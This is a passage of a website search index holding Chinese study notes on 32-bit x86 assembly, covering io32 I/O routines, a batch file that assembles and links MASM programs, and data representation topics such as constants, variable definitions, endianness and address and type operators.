</ul> </li> <li>\u4e8c\u8fdb\u5236\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readbb</code>\u3001<code>readbw</code>\u3001<code>readbd</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u4e8c\u8fdb\u5236\u6570\u3002</li> <li><code>dispbb</code>\u3001<code>dispbw</code>\u3001<code>dispbd</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u4e8c\u8fdb\u5236\u6570\u3002</li> </ul> </li> <li>\u5341\u516d\u8fdb\u5236\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readhb</code>\u3001<code>readhw</code>\u3001<code>readhd</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u5341\u516d\u8fdb\u5236\u6570\u3002</li> <li><code>disphb</code>\u3001<code>disphw</code>\u3001<code>disphd</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u5341\u516d\u8fdb\u5236\u6570\u3002</li> </ul> </li> <li>\u65e0\u7b26\u53f7\u6574\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readuib</code>\u3001<code>readuiw</code>\u3001<code>readuid</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u65e0\u7b26\u53f7\u6574\u6570\u3002</li> <li><code>dispuib</code>\u3001<code>dispuiw</code>\u3001<code>dispuid</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u65e0\u7b26\u53f7\u6574\u6570\u3002</li> </ul> </li> <li>\u6709\u7b26\u53f7\u6574\u6570\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readsib</code>\u3001<code>readsiw</code>\u3001<code>readsid</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u6709\u7b26\u53f7\u6574\u6570\u3002</li> <li><code>dispsib</code>\u3001<code>dispsiw</code>\u3001<code>dispsid</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u8282\u3001\u5b57\u548c\u53cc\u5b57\u7684\u6709\u7b26\u53f7\u6574\u6570\u3002</li> </ul> </li> <li>\u5bc4\u5b58\u5668\u7684\u8f93\u51fa\uff1a<ul> <li><code>disprb</code>\u3001<code>disprw</code>\u3001<code>disprd</code>\u3001<code>disprf</code>\uff1a\u7528\u4e8e\u663e\u793a\u5bc4\u5b58\u5668\u7684\u503c\u3002</li> </ul> </li> </ul> </li> <li> <p>\u5e93\u6587\u4ef6\u5305\u542b\uff1a</p> <ul> <li><code>includelib io32.lib</code>: \u5305\u542b <code>io32.lib</code> \u5e93\u6587\u4ef6\uff0c\u8fd9\u4e2a\u5e93\u6587\u4ef6\u5b9e\u9645\u4e0a\u5b9e\u73b0\u4e86\u8fd9\u4e9b <code>extern</code> \u58f0\u660e\u7684\u8f93\u5165/\u8f93\u51fa\u51fd\u6570\u3002</li> </ul> </li> </ol> \u7528\u4e8e\u4e00\u952e\u8fd0\u884c\u7684make\u6587\u4ef6 <pre><code> @echo off\n  REM make32.bat, for assembling and linking 32-bit Console programs (.EXE)\n  BIN\\ML /c /coff /Fl /Zi %1.asm\n  if errorlevel 1 goto terminate\n  BIN\\LINK32 /subsystem:console /debug %1.obj\n  if errorlevel 1 goto terminate\n  DIR %1.*\n  :terminate\n  @echo on\n</code></pre> <pre><code>@echo off\n</code></pre> <ul> <li>\u5173\u95ed\u547d\u4ee4\u56de\u663e\uff0c\u4f7f\u6279\u5904\u7406\u6587\u4ef6\u7684\u547d\u4ee4\u4e0d\u663e\u793a\u5728\u63a7\u5236\u53f0\u7a97\u53e3\u4e2d\uff08\u9664\u4e86\u663e\u5f0f\u6253\u5f00\u56de\u663e\u7684\u90e8\u5206\uff09\u3002</li> </ul> <pre><code>REM make32.bat, for assembling and linking 32-bit Console programs (.EXE)\n</code></pre> <ul> <li><code>REM</code> \u662f\u6279\u5904\u7406\u6587\u4ef6\u4e2d\u7684\u6ce8\u91ca\u547d\u4ee4\uff0c\u8bf4\u660e\u6587\u4ef6\u7684\u7528\u9014\uff1a\u7528\u4e8e\u6c47\u7f16\u548c\u94fe\u63a532\u4f4d\u63a7\u5236\u53f0\u7a0b\u5e8f\u3002</li> </ul> <pre><code>BIN\\ML /c /coff /Fl /Zi %1.asm\n</code></pre> <ul> <li>\u8c03\u7528 <code>ML</code>\uff08Microsoft Macro Assembler\uff09\u8fdb\u884c\u6c47\u7f16\uff1a<ul> <li><code>/c</code>\uff1a\u53ea\u6c47\u7f16\uff0c\u4e0d\u94fe\u63a5\u3002</li> <li><code>/coff</code>\uff1a\u751f\u6210COFF\uff08\u901a\u7528\u76ee\u6807\u6587\u4ef6\u683c\u5f0f\uff09\u3002</li> <li><code>/Fl</code>\uff1a\u751f\u6210\u6e90\u4ee3\u7801\u5217\u8868\u6587\u4ef6\u3002</li> <li><code>/Zi</code>\uff1a\u751f\u6210\u7528\u4e8e\u8c03\u8bd5\u7684\u5b8c\u6574\u7b26\u53f7\u4fe1\u606f\u3002</li> <li><code>%1.asm</code>\uff1a\u8868\u793a\u547d\u4ee4\u884c\u4f20\u9012\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\u5373\u6c47\u7f16\u6e90\u6587\u4ef6\u7684\u540d\u79f0\u3002</li> </ul> </li> </ul> <p><pre><code>if errorlevel 1 goto terminate\n</code></pre>   - \u68c0\u67e5\u4e0a\u4e00\u6761\u547d\u4ee4\u7684\u8fd4\u56de\u7801 (<code>errorlevel</code>) \u662f\u5426\u5927\u4e8e\u6216\u7b49\u4e8e1\uff08\u8868\u793a\u9519\u8bef\uff09\u3002\u5982\u679c\u662f\uff0c\u8df3\u8f6c\u5230 <code>:terminate</code> \u6807\u7b7e\uff0c\u7ed3\u675f\u6279\u5904\u7406\u3002</p> <pre><code>BIN\\LINK32 /subsystem:console /debug %1.obj\n</code></pre> <ul> <li>\u8c03\u7528 <code>LINK32</code>\uff08Microsoft 32-bit Linker\uff09\u8fdb\u884c\u94fe\u63a5\uff1a<ul> <li><code>/subsystem:console</code>\uff1a\u6307\u5b9a\u5b50\u7cfb\u7edf\u4e3a\u63a7\u5236\u53f0\u5e94\u7528\u7a0b\u5e8f\u3002</li> <li><code>/debug</code>\uff1a\u751f\u6210\u8c03\u8bd5\u4fe1\u606f\u3002</li> <li><code>%1.obj</code>\uff1a\u8868\u793a\u7531\u4e0a\u4e00\u6761\u6c47\u7f16\u547d\u4ee4\u751f\u6210\u7684\u76ee\u6807\u6587\u4ef6\u3002</li> </ul> </li> </ul> <pre><code>if errorlevel 1 goto terminate\n</code></pre> <ul> <li>\u518d\u6b21\u68c0\u67e5\u9519\u8bef\u7801\u3002\u5982\u679c\u94fe\u63a5\u547d\u4ee4\u8fd4\u56de\u9519\u8bef\uff0c\u8df3\u8f6c\u5230 <code>:terminate</code> \u7ed3\u675f\u3002</li> </ul> <pre><code>DIR %1.*\n</code></pre> <ul> <li>\u5217\u51fa\u6307\u5b9a\u6587\u4ef6\uff08\u5982\u751f\u6210\u7684\u53ef\u6267\u884c\u6587\u4ef6\u548c\u5176\u4ed6\u76f8\u5173\u6587\u4ef6\uff09\u7684\u8be6\u7ec6\u4fe1\u606f\u3002</li> </ul> <pre><code>:terminate\n@echo on\n</code></pre> <ul> <li><code>:terminate</code> \u662f\u6279\u5904\u7406\u6587\u4ef6\u7684\u6807\u7b7e\uff0c\u8868\u793a\u4e00\u4e2a\u8df3\u8f6c\u76ee\u6807\u3002</li> <li><code>@echo on</code> \u6253\u5f00\u547d\u4ee4\u56de\u663e\u3002</li> </ul> <p>\u8fd9\u4e2a\u6279\u5904\u7406\u6587\u4ef6\u7684\u4f5c\u7528\u662f\u81ea\u52a8\u5316\u6c47\u7f16\u6e90\u4ee3\u7801\u5e76\u5c06\u5176\u94fe\u63a5\u621032\u4f4d\u7684\u53ef\u6267\u884c\u7a0b\u5e8f\uff0c\u540c\u65f6\u63d0\u4f9b\u8c03\u8bd5\u4fe1\u606f\u3002\u6279\u5904\u7406\u6587\u4ef6\u4f1a\u5728\u4efb\u4e00\u9636\u6bb5\uff08\u6c47\u7f16\u6216\u94fe\u63a5\uff09\u53d1\u751f\u9519\u8bef\u65f6\u505c\u6b62\u6267\u884c\u3002</p>"},{"location":"NOTE/CS/ASM/wk2/","title":"\u6570\u636e\u8868\u793a","text":"<p> \u7ea6 1635 \u4e2a\u5b57  25 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 6 \u5206\u949f</p>"},{"location":"NOTE/CS/ASM/wk2/#_2","title":"\u5e38\u91cf\u8868\u8fbe","text":"<p>\u5e38\u91cf\u662f\u7a0b\u5e8f\u4f7f\u7528\u7684\u4e00\u4e2a\u786e\u5b9a\u7684\u6570\u503c\uff0c\u5728\u6c47\u7f16\u9636\u6bb5\u5c31\u53ef\u4ee5\u786e\u5b9a\uff0c\u76f4\u63a5\u7f16\u7801\u4e8e\u6307\u4ee4\u4ee3\u7801\u4e2d\uff0c\u800c\u4e0d\u662f\u4fdd\u5b58\u5728\u5b58\u50a8\u5668\u4e2d\u53ef\u53d8\u7684\u53d8\u91cf</p> <p>\u6c47\u7f16\u8bed\u8a00\u652f\u6301\u591a\u79cd\u5e38\u91cf\u7684\u8868\u8fbe\u5f62\u5f0f</p>"},{"location":"NOTE/CS/ASM/wk2/#_3","title":"\u5e38\u6570","text":"<p>\u591a\u79cd\u8fdb\u5236\u7684\u8868\u8fbe:\u4ee5\u540e\u7f00\u5b57\u6bcd\u6765\u533a\u5206\uff08D\uff0cH\uff0cB\u5206\u522b\u5bf9\u5e9410\uff0c16\uff0c2\u8fdb\u5236\uff09\uff0c10\u8fdb\u5236\u6570\u53ef\u4ee5\u4e0d\u52a0\uff0c\u5bf9\u4e8e\u4ee5\u5b57\u6bcdA~F\u5f00\u5934\u7684\u5341\u516d\u8fdb\u5236\u5e38\u6570\uff0c\u8981\u52a0\u524d\u5bfc\u76840 \u4ee5\u4fbf\u4e8e\u533a\u5206\u5b57\u6bcd\u5f00\u5934\u7684\u6807\u8bc6\u7b26(<code>AH</code>\u662f\u516b\u4f4d\u5bc4\u5b58\u5668\uff0c<code>0Ah</code>\u662f16\u8fdb\u5236\u6570)</p> <p>Example</p> \u5341\u8fdb\u5236\u6570 100\uff0c255D \u5341\u516d\u8fdb\u5236\u6570 64H\uff0c0FFH \u4e8c\u8fdb\u5236\u6570 01101100b"},{"location":"NOTE/CS/ASM/wk2/#_4","title":"\u5b57\u7b26\u548c\u5b57\u7b26\u4e32","text":"<p>\u7528<code>''</code>\u6216\u8005<code>\"\"</code>\u62ec\u8d77\u6765\u7684\u591a\u4e2a\u5b57\u7b26 \uff0c\u6bcf\u4e2a\u5b57\u7b26\u7684\u6570\u503c\u662f\u5bf9\u5e94\u7684ASCII\u7801\u503c</p> <p>Note</p> <p>\u5355\u5f15\u53f7\uff0c\u53cc\u5f15\u53f7\u6ca1\u6709\u4ec0\u4e48\u533a\u522b\uff0c\u5b57\u7b26\u548c\u5b57\u7b26\u4e32\u4e5f\u6ca1\u6709\u4ec0\u4e48\u672c\u8d28\u4e0a\u7684\u533a\u522b</p>"},{"location":"NOTE/CS/ASM/wk2/#_5","title":"\u7b26\u53f7\u5e38\u91cf","text":"<p>\u5141\u8bb8\u4f7f\u7528\u6807\u8bc6\u7b26\u6765\u8868\u8fbe\u4e00\u4e2a\u6570\u503c\uff0c\u5728\u9ad8\u7ea7\u7a0b\u5e8f\u8bbe\u8ba1\u8bed\u8a00\u4e2d\uff0c<code>=</code>\u7528\u4e8e\u53d8\u91cf\u7684\u5b9a\u4e49\uff0c\u800c\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d<code>=</code>\u7528\u6765\u5b9a\u4e49\u7b26\u53f7\u5e38\u91cf\uff0c\u4f8b\u5982</p> <p><pre><code>Zero = 0 ;\u6216\u8005Zero equ 0 \n</code></pre> \u7684\u4f5c\u7528\u76f8\u5f53\u4e8eC\u8bed\u8a00\u4e2d</p> <p><pre><code>#define Zero 0 \n</code></pre> \u5728\u63a5\u4e0b\u6765\u7684\u7a0b\u5e8f\u91cc\u9762<code>Zero</code>\u51fa\u73b0\u7684\u4f4d\u7f6e\u90fd\u4f1a\u88ab0\u66ff\u4ee3</p>"},{"location":"NOTE/CS/ASM/wk2/#_6","title":"\u6570\u503c\u8868\u8fbe\u5f0f","text":"<p>\u7528\u8fd0\u7b97\u7b26\u8fde\u7ed3\u5404\u79cd\u5e38\u91cf\u6784\u6210\u6570\u636e\u8868\u8fbe\u5f0f\uff0c\u5e38\u7528\u7684\u7b97\u672f\u8fd0\u7b97\u7b26\u6709\u52a0\u51cf\u4e58\u9664\u7b49\uff0c\u5982\u679c\u662f\u5730\u5740\u8868\u8fbe\u5f0f\uff0c\u90a3\u4e48\u53ea\u80fd\u52a0\u51cf\uff0c\u8868\u793a\u5730\u5740\u79fb\u52a8\u7684\u82e5\u5e72\u7684\u5b57\u8282\u5b58\u50a8\u5355\u5143</p>"},{"location":"NOTE/CS/ASM/wk2/#_7","title":"\u53d8\u91cf\u5b9a\u4e49","text":"<p>\u4ec0\u4e48\u662f\u53d8\u91cf</p> <p>\u968f\u7a0b\u5e8f\u8fd0\u884c\u4f1a\u53d1\u751f\u53d8\u5316\u7684\u6570\u636e\uff0c\u4fdd\u5b58\u5728\u53ef\u8bfb\u53ef\u5199\u7684\u4e3b\u5b58\u7a7a\u95f4\u4e2d\uff0c\u53d8\u91cf\u7684\u5b9e\u8d28\u662f\u4e3b\u5b58\u5355\u5143\u7684\u6570\u636e\uff0c\u56e0\u800c\u53ef\u4ee5\u6539\u53d8\uff0c\u53d8\u91cf\u9700\u8981\u4e8b\u5148\u5b9a\u4e49\u624d\u80fd\u4f7f\u7528\uff0c\u53d8\u91cf\u5177\u6709\u5c5e\u6027\uff0c\u65b9\u4fbf\u5e94\u7528</p> <p>\u5b9a\u4e49\u53d8\u91cf\u7684\u683c\u5f0f</p> <p>\u4e00\u822c\u683c\u5f0f\u4e3a</p> <pre><code>\u53d8\u91cf\u540d \u53d8\u91cf\u5b9a\u4e49\u4f2a\u6307\u4ee4  \u521d\u503c\u8868\n</code></pre> <ul> <li> <p>\u53d8\u91cf\u540d\uff1a\u7528\u6237\u5b9a\u4e49\u7684\u6807\u8bc6\u7b26\uff0c\u9700\u8981\u6ee1\u8db3\u5b9a\u4e49\u6807\u8bc6\u7b26\u89c4\u5219\uff0c\u8868\u793a\u9996\u5143\u7d20\u7684\u903b\u8f91\u5730\u5740\uff0c\u4fbf\u4e8e\u76f4\u63a5\u8bbf\u95ee\uff0c\u4f46\u662f\uff0c\u6ca1\u6709\u53d8\u91cf\u540d\u5e76\u4e0d\u5f71\u54cd\u53d8\u91cf\u7684\u5b9a\u4e49</p> </li> <li> <p>\u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26\uff1a\u4f8b\u5982 <code>byte</code>,<code>word</code>,<code>dword</code>,\u8868\u793a\u53d8\u91cf\u7c7b\u578b</p> </li> <li> <p>\u521d\u503c\u8868\u662f\u7528\u9017\u53f7\u5206\u9694\u7684\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u53c2\u6570\uff0c\u8868\u793a\u53d8\u91cf\u7684\u521d\u503c\uff08\u6c47\u7f16\u4e2d\u4e00\u4e2a\u53d8\u91cf\u53ef\u4ee5\u6709\u591a\u4e2a\u53d8\u91cf\u503c\uff0c\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684\u6570\u7ec4\uff09</p> <ul> <li>\u53ef\u4ee5\u662f\u5404\u79cd\u5f62\u5f0f\u7684\u5e38\u91cf</li> <li>\u4f7f\u7528<code>?</code>\u6765\u8868\u793a\u521d\u503c\u4e0d\u786e\u5b9a\uff0c\u5373\u672a\u8d4b\u521d\u503c\uff0c\u4e00\u534a\u4f1a\u5b58\u50a8\u4e3a0</li> <li>\u4f7f\u7528\u590d\u5236\u64cd\u4f5c\u7b26<code>DUP</code>\u6765\u8868\u793a\u591a\u4e2a\u540c\u6837\u7684\u6570\u503c<code>\u91cd\u590d\u6b21\u6570 DUP(\u9700\u8981\u91cd\u590d\u7684\u53c2\u6570)</code></li> </ul> </li> </ul> <p>\u4e3b\u8981\u7684\u53d8\u91cf\u5b9a\u4e49\u4f2a\u6307\u4ee4</p> <p>BYTE\uff1a\u5b57\u8282\u7c7b\u578b\uff0c\u5206\u914d\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u5b57\u8282\u5355\u5143\uff0c\u6bcf\u4e2a\u6570\u636e\u662f8\u4f4d\u5b57\u8282\u91cf\uff0c\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684<code>char</code>\u7c7b\u578b\u3002</p> <p>WORD\uff1a\u5b57\u7c7b\u578b\uff0c\u5206\u914d\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u5b57\u5355\u5143\uff0c\u6bcf\u4e2a\u6570\u636e\u662f16\u4f4d\u5b57\u91cf\uff0c\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684<code>short</code>\u7c7b\u578b\u3002</p> <p>DWORD\uff1a\u53cc\u5b57\u7c7b\u578b\uff0c\u5206\u914d\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u53cc\u5b57\u5355\u5143\uff0c\u6bcf\u4e2a\u6570\u636e\u662f32\u4f4d\u53cc\u5b57\u91cf\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684<code>long</code>\u7c7b\u578b\u3002</p>"},{"location":"NOTE/CS/ASM/wk2/#8","title":"8\u4f4d\u53d8\u91cf\u7684\u5b9a\u4e49","text":"<p>\u53ef\u4ee5\u5b9a\u4e49\uff1a</p> <ul> <li>8\u4f4d\u7684\u65e0\u7b26\u53f7\u6574\u6570\uff080~255\uff09</li> <li>8\u4f4d\u8865\u7801\u8868\u793a\u7684\u6709\u7b26\u53f7\u6574\u6570-128~+127</li> <li>\u4e00\u4e2a\u5b57\u7b26\uff08ASCII\u7801\u503c\uff09</li> <li>\u538b\u7f29BCD\u78010~99</li> <li>\u975e\u538b\u7f29BCD\u78010~9</li> </ul> Example <p><pre><code>bvar1 byte 0,128,255,-128,0,+127;\u5bf9\u5e94\u673a\u5668\u6307\u4ee4\u4e3a00 80\u65e0\u7b26\u53f7128\uff09 FF 80\uff08\u6709\u7b26\u53f7-128\uff09 00 7F\n</code></pre> <code>bvar1</code>\u662f\u9996\u5143\u7d200\u7684\u903b\u8f91\u5730\u5740\uff0c\u8981\u60f3\u8bbf\u95ee\u4e0b\u4e00\u4e2a\u5143\u7d20\u9700\u8981<code>bvar1+1</code></p> <p>\u5176\u6570\u636e\u6bb5\u4e3a</p> 7FH 00H 80H FFH 80H 00H(<code>bvar1</code>\u6307\u5411\u8fd9\u91cc) <p> </p>"},{"location":"NOTE/CS/ASM/wk2/#1632","title":"16\u4f4d\u548c32\u4f4d\u53d8\u91cf\u7684\u5b9a\u4e49","text":"<p>16\u4f4d</p> <ul> <li>16\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\uff080~65535\uff09</li> <li>16\u4e3a\u8865\u7801\u8868\u793a\u7684\u6709\u7b26\u53f7\u6574\u6570\uff08-32768~+32767\uff09</li> <li>16\u4f4d\u6bb5\u5730\u5740</li> <li>16\u4f4d\u504f\u79fb\u5730\u5740</li> </ul> <p>32\u4f4d</p> <ul> <li>32\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\\(0 \\sim 2^{32}-1\\)</li> <li>32\u4f4d\u8865\u7801\u8868\u793a\u7684\u6709\u7b26\u53f7\u6574\u6570\\(-2^{31} \\sim 2^{31}-1\\)</li> <li>32\u4f4d\u903b\u8f91\u5730\u5740</li> </ul> Example <pre><code>wvar1 word 0,32768,65535,-32768,0,+32767\n</code></pre> <p>\u8981\u60f3\u8bbf\u95ee\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u9700\u8981<code>wvar1+2</code></p> <p>\u6bcf\u4e00\u4e2a\u5143\u7d20\u90fd\u4f7f\u7528\u4e24\u4e2a\u5b57\u8282\u6765\u8868\u793a </p> <pre><code>dvar1 dword 0,80000000h\n</code></pre> <p>\u8981\u60f3\u8bbf\u95ee\u4e0b\u4e00\u4e2a\u5143\u7d20\uff0c\u9700\u8981<code>dvar1+4</code></p> <p>\u6bcf\u4e00\u4e2a\u5143\u7d20\uff0c\u4f7f\u7528\u56db\u4e2a\u5b57\u8282\u6765\u8868\u793a </p>"},{"location":"NOTE/CS/ASM/wk2/#_8","title":"\u53d8\u91cf\u5e94\u7528","text":""},{"location":"NOTE/CS/ASM/wk2/#_9","title":"\u591a\u5b57\u8282\u6570\u636e\u7684\u5b58\u50a8\u987a\u5e8f","text":"<p>\u6700\u5c0f\u7684\u5b58\u50a8\u5355\u4f4d\u662fbit\uff0c\u6700\u5e38\u7528\u7684\u5b58\u50a8\u5355\u4f4d\u662f\u5b57\u8282\uff08Byte\uff09\uff0c\u4e00\u4e2a\u5b58\u50a8\u5355\u5143\u4fdd\u5b58\u4e00\u4e2a\u5b57\u8282\u91cf\u6570\u636e\uff0c\u5bf9\u5e94\u4e00\u4e2a\u5b58\u50a8\u5668\u5730\u5740\u3002</p> <p>\u5c0f\u7aef\u65b9\u5f0f\uff08little Endian\uff09</p> <ul> <li>\u9ad8\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u9ad8\u5730\u5740\u5b58\u50a8\u5355\u5143</li> <li>\u4f4e\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u4f4e\u5730\u5740\u5b58\u50a8\u5355\u5143</li> </ul> <p>\u5927\u7aef\u65b9\u5f0f\uff08Big Endian\uff09</p> <ul> <li>\u9ad8\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u4f4e\u5730\u5740\u5b58\u50a8\u5355\u5143</li> <li>\u4f4e\u5b57\u8282\u6570\u636e\u4fdd\u5b58\u5728\u9ad8\u5730\u5740\u5b58\u50a8\u5355\u5143</li> </ul> <p>Info</p> <p>\u5927\u7aef\u5b58\u50a8\u548c\u5c0f\u7aef\u5b58\u50a8\u4e24\u4e2a\u540d\u5b57\u6765\u81ea\u300a\u683c\u5217\u4f5b\u6e38\u8bb0\u300b\u5173\u4e8e\u5982\u4f55\u6253\u5f00\u4e00\u4e2a\u9e21\u86cb\u7684\u4e89\u8bba: How to open an egg,from the little end or the big end</p> <p>80x86\u91c7\u7528\u5c0f\u6bb5\u65b9\u5f0f\u5b58\u50a8\u591a\u5b57\u8282\u6570\u636e</p> <p><pre><code>bvar byte 39h,31h,32h,38h\nwvar word 3139h,3832h\ndvar dword 38323139h\n</code></pre> \u4e09\u4e2a\u53d8\u91cf\u5728\u4e3b\u5b58\u4e2d\u7684\u5b58\u653e\u65b9\u5f0f\u662f\u4e00\u6837\u7684</p> <p>\u5bf9\u4e8e<code>bvar</code>,\u7531\u4f4e\u5230\u9ad8\u4f9d\u6b21\u5b58\u653e\u56db\u4e2a\u5b57\u8282\u7684\u6570\u636e</p> \u6570\u636e\u6bb5 38H 32H 31H 39H <p><code>wvar</code>\u6709\u4e24\u79cd\u65b9\u5f0f\u5b58\u50a8</p> <p>\u5982\u679c\u662f\u5927\u7aef\u5b58\u50a8</p> \u6570\u636e\u6bb5 32H 38H 31H 39H <p>\u5982\u679c\u662f\u5c0f\u6bb5\u5b58\u50a8</p> \u6570\u636e\u6bb5 38H 32H 31H 39H <p>\u540c\u7406\uff0c<code>dvar</code>\u4e5f\u6709\u4e24\u79cd\u65b9\u5f0f</p> <p>Warning</p> <p>\u5927\u7aef\u65b9\u5f0f\u548c\u5c0f\u7aef\u65b9\u5f0f\u5b58\u50a8\u90fd\u662f\u5408\u7406\u7684\uff0c\u4e0d\u5b58\u5728\u54ea\u79cd\u65b9\u5f0f\u66f4\u597d\uff0c\u8c01\u5bf9\u8c01\u9519\u4e4b\u5206</p>"},{"location":"NOTE/CS/ASM/wk2/#_10","title":"\u53d8\u91cf\u7684\u5730\u5740\u5c5e\u6027","text":"<p>\u5b9a\u4e49\u540e\u7684\u53d8\u91cf\u540d\u5177\u6709\u4e24\u7c7b\u5c5e\u6027</p> <ul> <li>\u5730\u5740\u5c5e\u6027\uff1a\u9996\u4e2a\u53d8\u91cf\u6240\u5728\u7684\u5b58\u50a8\u5355\u5143\u7684\u903b\u8f91\u5730\u5740\uff0c\u5305\u542b \u6bb5\u57fa\u5730\u5740 \u548c \u504f\u79fb\u5730\u5740</li> <li>\u7c7b\u578b\u5c5e\u6027\uff1a\u53d8\u91cf\u5b9a\u4e49\u7684\u6570\u636e\u5355\u4f4d</li> </ul> <p>\u901a\u8fc7\u5730\u5740\u64cd\u4f5c\u7b26\u53ef\u4ee5\u83b7\u5f97\u53d8\u91cf\u7684\u5730\u5740\u5c5e\u6027\u503c</p> <code>[]</code> \u62ec\u8d77\u7684\u8868\u8fbe\u5f0f\u4f5c\u4e3a\u5b58\u50a8\u5668\u5730\u5740\u6307\u9488\uff0c\u6574\u4e2a\u76f8\u5f53\u4e8e\u53d6\u62ec\u53f7\u91cc\u7684\u5730\u5740\u7684\u503c <code>$</code> \u8fd4\u56de\u5f53\u524d\u7684\u504f\u79fb\u5730\u5740 <code>OFFSET</code> \u53d8\u91cf\u540d \u8fd4\u56de\u53d8\u91cf\u540d\u6240\u5728\u6bb5\u7684\u504f\u79fb\u5730\u5740 <code>SEG</code> \u53d8\u91cf\u540d \u8fd4\u56de\u6bb5\u57fa\u5730\u5740\uff08\u5b9e\u5730\u5740\u5b58\u50a8\u6a21\u578b\uff09 <p>Example</p> <pre><code>;\u6570\u636e\u6bb5\nbvar       byte 12h, 34h\n           org $+10;bvar\u5730\u5740\u4e3a00000000\uff0c\u5f53\u524d\u5730\u5740\u4e3a00000002H\uff0c\u76f8\u5f53\u4e8e\u6570\u636e\u6bb5\u7684\u4e0b\u4e00\u4e2a\u53d8\u91cf\u4ece\u5f53\u524d\u5730\u5740+10\u5b57\u8282\u518d\u5f00\u59cb\narray      word 1, 2, 3, 4, 5, 6, 7, 8, 9, 10\nwvar       word 5678h \narr_size   = $ - array ;\u8ba1\u7b97\u51fa\u5f53\u524d\u5730\u5740\u5230array\u5730\u5740\u4e00\u5171\u5360\u6709\u591a\u5c11\u5b57\u8282\narr_len    = arr_size / 2;\u8ba1\u7b97\u51fa\u4e00\u5171\u6709\u591a\u5c11\u5185\u5b58\u7a7a\u95f4\ndvar       dword 9abcdef0h\n;\u4ee3\u7801\u6bb5\nmov al, bvar;\u76f8\u5f53\u4e8e[bvar]\u53d6\u51fa\u7b2c\u4e00\u4e2a\u5143\u7d2012H\u9001\u5230al\nmov ah, bvar + 1;\u53d6\u51fa\u7b2c\u4e8c\u4e2a\uff0c\u7c7b\u4f3c\u4e8e\u6570\u7ec4\u7684\u64cd\u4f5c\nmov bx, wvar[2];\u4ecewvar\u5f00\u59cb\u518d+2\uff0c\u6307\u5411\u4e86dvar\u7684\u6700\u4f4e\u5b57\u8282F0\uff0c\u8d4b\u7ed9\u4e86bx\nmov ecx, arr_len; \u5c06arr_len\u6240\u4ee3\u8868\u7684\u957f\u5ea611\u4f20\u7ed9ecx\nmov edx, $ ; \u5c06\u5f53\u524d\u7684\uff08\u6307\u4ee4\uff09\u5730\u5740\u4f20\u7ed9edx\uff0c\u5373\u4ee3\u7801\u6bb5\u5730\u5740+\u504f\u79fb\u5730\u5740\nmov esi, offset dvar;\u5c06dvar\u7684\u6570\u636e\u6bb5\u5730\u5740\u4f20\u9012\u7ed9esi\uff0c\u5373\u6570\u636e\u6bb5\u5730\u5740+22H\nmov edi, [esi];\u5c06esi\u7684\u503c\u4f5c\u4e3a\u5730\u5740\u53d6\u51fa\u8be5\u5730\u5740\u7684\u5143\u7d20\uff0c\u53739abcdef0h\nmov ebp, dvar;9abcdef0h\n</code></pre>"},{"location":"NOTE/CS/ASM/wk2/#_11","title":"\u53d8\u91cf\u7684\u7c7b\u578b\u5c5e\u6027","text":"<p>\u53d8\u91cf\u7684\u7c7b\u578b\u5c5e\u6027\u8868\u793a\u53d8\u91cf\u5b9a\u4e49\u7684\u6570\u636e\u5355\u4f4d\uff0cBYTE\uff0cWORD\uff0cDWORD\u5bf9\u5e94\u7684\u7c7b\u578b\u503c\u4e3a1\uff0c2\uff0c4\uff1b\u5373\u5176\u6240\u5360\u7684\u5b57\u8282\u6570</p> <p>\u7c7b\u578b\u64cd\u4f5c\u7b26</p> <ul> <li><code>\u7c7b\u578b\u540d PTR  \u53d8\u91cf\u540d</code>\uff0c\u5c06\u53d8\u91cf\u540d\u6309\u7167\u6307\u5b9a\u7684\u7c7b\u578b\u4f7f\u7528</li> <li><code>TYPE \u53d8\u91cf\u540d</code> \u8fd4\u56de\u5360\u7528\u5b57\u8282\u7a7a\u95f4\u7684\u5b57\u91cf\u6570\u503c</li> <li><code>LENGTHOF \u53d8\u91cf\u540d</code>:\u8fd4\u56de\u6574\u4e2a\u53d8\u91cf\u7684\u6570\u636e\u9879\u6570</li> <li><code>SIZEOF \u53d8\u91cf\u540d</code>:\u8fd4\u56de\u6574\u4e2a\u53d8\u91cf\u6240\u5360\u7528\u7684\u5b57\u8282\u6570</li> </ul> <p>Example</p> <p>\u5728\u4e0a\u4f8b\u4e2d\uff0c\u82e5\u6709<code>mov eax,dword ptr 